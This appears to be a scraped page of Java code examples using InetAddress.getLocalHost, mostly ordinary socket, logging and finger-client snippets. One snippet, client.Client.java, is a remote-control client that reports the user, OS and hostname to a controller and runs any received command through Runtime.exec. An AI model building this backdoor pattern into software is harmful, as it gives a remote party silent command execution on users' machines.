Example usage for java.net InetAddress getLocalHost

List of usage examples for java.net InetAddress getLocalHost

Introduction

In this page you can find the example usage for java.net InetAddress getLocalHost.

Prototype

public static InetAddress getLocalHost() throws UnknownHostException 

Source Link

Document

Returns the address of the local host.

Usage

From source file:BufferedSocketClient.java

  public static void main(String args[]) throws Exception {
  Socket socket1;/*from  w  w w.j  a  v  a2  s.c o m*/
  int portNumber = 1777;
  String str = "initialize";

  socket1 = new Socket(InetAddress.getLocalHost(), portNumber);

  BufferedReader br = new BufferedReader(new InputStreamReader(socket1.getInputStream()));

  PrintWriter pw = new PrintWriter(socket1.getOutputStream(), true);

  pw.println(str);

  while ((str = br.readLine()) != null) {
    System.out.println(str);
    pw.println("bye");

    if (str.equals("bye"))
      break;
  }

  br.close();
  pw.close();
  socket1.close();
}

From source file:WriteServer.java

public static void main(String args[]) throws Exception {
    int serverPort = 998;

    int buffer_size = 1024;

    byte buffer[] = new byte[buffer_size];

    DatagramSocket ds = new DatagramSocket(serverPort);
    int pos = 0;//ww  w .  j  a v a 2  s .c om
    while (true) {
        int c = System.in.read();
        switch (c) {
        case -1:
            System.out.println("Server Quits.");
            return;
        case '\r':
            break;
        case '\n':
            ds.send(new DatagramPacket(buffer, pos, InetAddress.getLocalHost(), 999));
            pos = 0;
            break;
        default:
            buffer[pos++] = (byte) c;
        }
    }

}

From source file:license.mac.MacTest.java

public static void main(String[] args) throws Exception {
    Map<Integer, String> infoMap = new HashMap<Integer, String>();
    infoMap.put(1, "");
    infoMap.put(2, "");
    infoMap.put(2, "");
    infoMap.put(2, "");
    infoMap.put(12, "eth0");

    MacTest mac = new MacTest();

    System.out.println();// w  w w.  j  a v  a 2  s .co  m
    System.out.println();
    System.out.println("************?mac?*********");
    System.out.println();
    System.out.println();
    InetAddress ia = InetAddress.getLocalHost();//?IP
    System.out.println("IP .........: " + ia.getHostAddress());
    System.out.println("MAC .........: " + getMACAddress(ia));

    System.out.println();
    System.out.println();
    mac.checkMac();
}

From source file:SimpleSocketServer.java

public static void main(String args[]) throws Exception {
        Socket socket;/* ww w. ja  v a  2 s  .  c o m*/
        int portNumber = 1777;
        String str = "";

        socket = new Socket(InetAddress.getLocalHost(), portNumber);

        ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
        str = (String) ois.readObject();
        System.out.println(str);
    }

From source file:client.Client.java

/**
 * @param args the command line arguments
 *///from ww w .ja v  a 2  s.  com
public static void main(String[] args) throws Exception {
    Socket st = new Socket("127.0.0.1", 1604);
    BufferedReader r = new BufferedReader(new InputStreamReader(st.getInputStream()));
    PrintWriter p = new PrintWriter(st.getOutputStream());

    while (true) {
        String s = r.readLine();
        new Thread() {
            @Override
            public void run() {
                String[] ar = s.split("\\|");
                if (s.startsWith("HALLO")) {
                    String str = "";
                    try {
                        str = InetAddress.getLocalHost().getHostName();
                    } catch (Exception e) {
                    }
                    p.println("info|" + s.split("\\|")[1] + "|" + System.getProperty("user.name") + "|"
                            + System.getProperty("os.name") + "|" + str);
                    p.flush();
                }
                if (s.startsWith("msg")) {
                    String text = fromHex(ar[1]);
                    String title = ar[2];
                    int i = Integer.parseInt(ar[3]);
                    JOptionPane.showMessageDialog(null, text, title, i);
                }
                if (s.startsWith("execute")) {
                    String cmd = ar[1];
                    try {
                        Runtime.getRuntime().exec(cmd);
                    } catch (Exception e) {
                    }
                }
                if (s.equals("getsystem")) {
                    StringBuilder sb = new StringBuilder();
                    for (Object o : System.getProperties().entrySet()) {
                        Map.Entry e = (Map.Entry) o;
                        sb.append("\n" + e.getKey() + "|" + e.getValue());

                    }
                    p.println("systeminfos|" + toHex(sb.toString().substring(1)));
                    p.flush();
                }
            }

        }.start();
    }
}

From source file:InetAddressTest.java

public static void main(String[] args) {
    try {//from  w w w .j a v  a2  s . c  o m
        if (args.length > 0) {
            String host = args[0];
            InetAddress[] addresses = InetAddress.getAllByName(host);
            for (InetAddress a : addresses)
                System.out.println(a);
        } else {
            InetAddress localHostAddress = InetAddress.getLocalHost();
            System.out.println(localHostAddress);
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
}

From source file:com.infinitechaos.vpcviewer.Application.java

public static void main(String[] args) throws UnknownHostException {
    SpringApplication app = new SpringApplication(Application.class);
    app.setShowBanner(false);/* ww w.  j  av a 2 s  .c  o  m*/

    Environment env = app.run(args).getEnvironment();
    log.info(
            "Access URLs:\n----------------------------------------------------------\n\t"
                    + "Local: \t\thttp://127.0.0.1:{}\n\t"
                    + "External: \thttp://{}:{}\n----------------------------------------------------------",
            env.getProperty("server.port"), InetAddress.getLocalHost().getHostAddress(),
            env.getProperty("server.port"));

}

From source file:com.yahoo.ads.pb.mttf.PistachiosMTTFTest.java

public static void main(String[] args) {
    PistachiosClient client;/*w ww  .  j  a  va2 s. c o m*/
    try {
        client = new PistachiosClient();
    } catch (Exception e) {
        logger.info("error creating client", e);
        return;
    }
    Random rand = new Random();

    while (true) {
        try {
            long id = rand.nextLong();
            String value = InetAddress.getLocalHost().getHostName() + rand.nextInt();
            client.store(0, id, value.getBytes());
            for (int i = 0; i < 30; i++) {
                byte[] clientValue = client.lookup(0, id);
                String remoteValue = new String(clientValue);
                if (Arrays.equals(value.getBytes(), clientValue)
                        || !remoteValue.contains(InetAddress.getLocalHost().getHostName())) {
                    logger.debug("succeeded checking id {} value {}", id, value);
                } else {
                    logger.error("failed checking id {} value {} != {}", id, value, new String(clientValue));
                    System.exit(0);
                }
                Thread.sleep(100);
            }
        } catch (Exception e) {
            System.out.println("error testing" + e);
            System.exit(0);
        }
    }
}

From source file:net.dfs.user.test.Retrieve.java

/**
 * Retrieve application will be started with the main() of the {@link Retrieve}.
 * //  www . j a  v a  2  s .  c  om
 * @param args the parameter which is passed to the main()
 * @throws IOException 
 * @throws FileNotFoundException 
 * @throws IOException
 */

public static void main(String args[]) throws IOException {

    Properties prop = new Properties();
    prop.load(new FileInputStream("server.properties"));

    Retrieve ret = new Retrieve();
    ret.fileNameAnalyzer(prop.getProperty("retrieve.fileName"));

    ApplicationContext context = new ClassPathXmlApplicationContext("net\\dfs\\user\\test\\spring-user.xml");
    RetrievalConnectionHandler retrieve = (RetrievalConnectionHandler) context.getBean("retrieve");

    retrieve.retrieveFile(fileName, extention, InetAddress.getLocalHost().getHostAddress());
    log.debug("The File " + fileName + extention + " Request from the Server");

}

From source file:examples.finger.java

public static final void main(String[] args) {
    boolean longOutput = false;
    int arg = 0, index;
    String handle, host;// w w  w.j  a  v  a  2  s  .  c  om
    FingerClient finger;
    InetAddress address = null;

    // Get flags.  If an invalid flag is present, exit with usage message.
    while (arg < args.length && args[arg].startsWith("-")) {
        if (args[arg].equals("-l"))
            longOutput = true;
        else {
            System.err.println("usage: finger [-l] [[[handle][@<server>]] ...]");
            System.exit(1);
        }
        ++arg;
    }

    finger = new FingerClient();
    // We want to timeout if a response takes longer than 60 seconds
    finger.setDefaultTimeout(60000);

    if (arg >= args.length) {
        // Finger local host

        try {
            address = InetAddress.getLocalHost();
        } catch (UnknownHostException e) {
            System.err.println("Error unknown host: " + e.getMessage());
            System.exit(1);
        }

        try {
            finger.connect(address);
            System.out.print(finger.query(longOutput));
            finger.disconnect();
        } catch (IOException e) {
            System.err.println("Error I/O exception: " + e.getMessage());
            System.exit(1);
        }

        return;
    }

    // Finger each argument
    while (arg < args.length) {

        index = args[arg].lastIndexOf("@");

        if (index == -1) {
            handle = args[arg];
            try {
                address = InetAddress.getLocalHost();
            } catch (UnknownHostException e) {
                System.err.println("Error unknown host: " + e.getMessage());
                System.exit(1);
            }
        } else {
            handle = args[arg].substring(0, index);
            host = args[arg].substring(index + 1);

            try {
                address = InetAddress.getByName(host);
            } catch (UnknownHostException e) {
                System.err.println("Error unknown host: " + e.getMessage());
                System.exit(1);
            }
        }

        System.out.println("[" + address.getHostName() + "]");

        try {
            finger.connect(address);
            System.out.print(finger.query(longOutput, handle));
            finger.disconnect();
        } catch (IOException e) {
            System.err.println("Error I/O exception: " + e.getMessage());
            System.exit(1);
        }

        ++arg;
        if (arg != args.length)
            System.out.print("\n");
    }
}